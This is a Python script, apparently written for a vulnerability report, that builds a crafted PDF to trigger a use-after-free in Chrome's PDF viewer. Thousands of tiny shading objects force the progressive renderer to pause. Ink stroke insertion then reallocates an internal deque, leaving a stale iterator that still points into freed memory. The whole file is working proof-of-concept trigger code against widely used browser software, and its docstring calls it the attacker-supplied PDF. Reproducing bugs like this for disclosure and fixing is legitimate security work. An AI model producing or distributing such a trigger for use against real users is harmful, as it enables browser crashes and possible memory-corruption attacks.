#!/usr/bin/env python3
"""Generate a PDF whose single page contains thousands of tiny axial-shading
objects, so that Chrome's PDF viewer is forced into FPDF_RENDER_TOBECONTINUED
mid-way through CPDF_ProgressiveRenderer::Continue() (each Shading object
forces an immediate pause check via cpdf_progressiverenderer.cpp:105-106).

This is the attacker-supplied PDF for the manual Chrome-level reproduction of
the Ink2 ApplyStroke -> CPDF_ProgressiveRenderer iterator-invalidation UAF.
The page_object_list_ std::deque is sized so that the FPDFPage_InsertObject()
calls performed by WriteStrokeToPage() trigger a libc++ deque map
reallocation, freeing the buffer that the parked `last_object_rendered_`
iterator's __m_iter_ still points into.

Usage:  python3 gen_poc_pdf.py [count]   (default 4000)
Output: poc.pdf
"""

import sys
import zlib

OBJS = int(sys.argv[1]) if len(sys.argv) > 1 else 4000
W, H = 612, 792  # Letter

# One axial shading dictionary, referenced by every `sh` operator.
# Tiny linear gradient — cheap-ish per object, but every one forces
# nObjsToGo = 0 → per-object NeedToPauseNow() check.
shading = (
    b"<< /ShadingType 2 /ColorSpace /DeviceRGB "
    b"/Coords [0 0 1 1] "
    b"/Function << /FunctionType 2 /Domain [0 1] /C0 [1 0 0] /C1 [0 0 1] /N 1 >> "
    b"/Extend [true true] >>"
)

# Build a content stream of OBJS shading paints, each clipped to a 2x2 box so
# they all fall inside the page MediaBox (and thus inside the renderer's
# clip_rect_), spread across the page so the visible viewport always overlaps
# many of them.
content = bytearray()
cols = 80
for i in range(OBJS):
    x = (i % cols) * (W / cols)
    y = (i // cols) * (H / max(1, OBJS // cols))
    content += (
        b"q %.2f %.2f 2 2 re W n /S1 sh Q\n" % (x, y)
    )
stream = zlib.compress(bytes(content))


def obj(n, body):
    return b"%d 0 obj\n%s\nendobj\n" % (n, body)


objects = {}
objects[1] = b"<< /Type /Catalog /Pages 2 0 R >>"
objects[2] = b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>"
objects[3] = (
    b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 %d %d] "
    b"/Resources << /Shading << /S1 5 0 R >> >> "
    b"/Contents 4 0 R >>" % (W, H)
)
objects[4] = (
    b"<< /Length %d /Filter /FlateDecode >>\nstream\n" % len(stream)
    + stream
    + b"\nendstream"
)
objects[5] = shading

out = bytearray(b"%PDF-1.6\n%\xe2\xe3\xcf\xd3\n")
xref = [0]
for i in range(1, 6):
    xref.append(len(out))
    out += obj(i, objects[i])
startxref = len(out)
out += b"xref\n0 6\n0000000000 65535 f \n"
for off in xref[1:]:
    out += b"%010d 00000 n \n" % off
out += b"trailer << /Size 6 /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n" % startxref

with open("poc.pdf", "wb") as f:
    f.write(out)
print(f"wrote poc.pdf with {OBJS} shading objects ({len(out)} bytes)")